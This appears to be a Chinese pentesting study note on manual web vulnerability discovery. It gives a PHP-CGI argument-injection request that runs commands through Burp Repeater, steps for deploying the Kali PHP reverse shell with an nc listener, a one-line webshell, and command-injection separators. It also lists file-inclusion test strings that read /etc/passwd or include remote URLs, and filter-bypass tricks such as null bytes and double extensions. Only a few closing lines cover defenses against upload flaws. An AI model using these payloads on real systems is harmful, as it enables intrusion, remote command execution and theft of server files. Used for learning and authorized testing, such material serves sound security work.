手动挖掘原则
- 所有变量
- 所有头
cookie中的变量
+逐个变量删除
默认安装漏洞
- windows默认安装漏洞
- phpMyAdmin/setup
- Ubuntu/Debian 默认安装 PHP5-cgi
- 可直接访问 /cgi-bin/php5 和 /cgi-bin/php
1
2
3
4
5
6POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
passthru('ls');
die();
?>
以上这段放在Burpsuite的Repeater
重放攻击,修改主机地址和目标ip地址,就能实现攻击,在php代码里面修改命令就能看到该服务器权限下能执行的命令结果
php反弹shell
它在kali的位置
/usr/share/webshells/php/php-reverse-shell.php
修改一下,把IP换成本机的IP地址
然后将所有内容复制下来复制到在burpsuite的body中
如配置文件中侦听对应的端口nc -nvvlp 1234
再发送请求,就能在终端看到信息了
接下来输入的系统指令只要有权限就能执行
命令行注入漏洞
如果网站有直接调用系统指令,如ping
之类,可以用以下指令注入1
2
3
4; 分号,代表与指令分隔 例:ping 172.16.242.128;ls 执行完ping之后就执行ls
&& 双与,代表前面一个指令成功后,才能执行后面一个指令 例:ping 172.16.242.128&&ls 在ping指令成功后才会执行ls
& 单与,代表两条命令同时执行
|| 双或,代表当前面一个命令执行失败,才执行后面一个指令
目录权限限制不严/文件包含漏洞
针对运行php的服务器的远程文件包含漏洞,需要服务器的/etc/php5/cgi/php.ini中allow_url_include=On,然后重启apache服务器才有用
一句话木马<?php echo shell_exec($_GET['cmd']); ?>
特征但不绝对:1
2
3?page=a.php
?home=b.html
?file=content
经典测试方法:1
2
3
4
5?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
绕过字符过滤1
2
3
4
5. 点,有一些应用对图片判断是以.png结尾,来判断是不是一张图片的,这个时候只需要 a.php.png,就能绕过检查
%00 空,作为截断,有一些应用的文件检查是从头开始检查的,如果遇到%00,就表示结束,不会再继续,例如a.doc%00.php ,实际上是一个php文件,
但是应用的检查以为是doc文件
在请求中插入过滤 如果服务器过滤链接http://这串字符,这个时候只需要在这串字符中间再插入这串字符,如在h插入,变成hhttp://ttp://这样
服务器就会过滤掉中间的http://,并把过滤后的字符串拼接回去
kali攻击字典放在/usr/share/wfuzz/wordlist/vulns
文件上传漏洞
1 | 将文件名后缀修改 |
怎么解决文件上传漏洞1
2
3限制上传目录的权限
修改上传后文件的命名
模糊上传文件目录的路径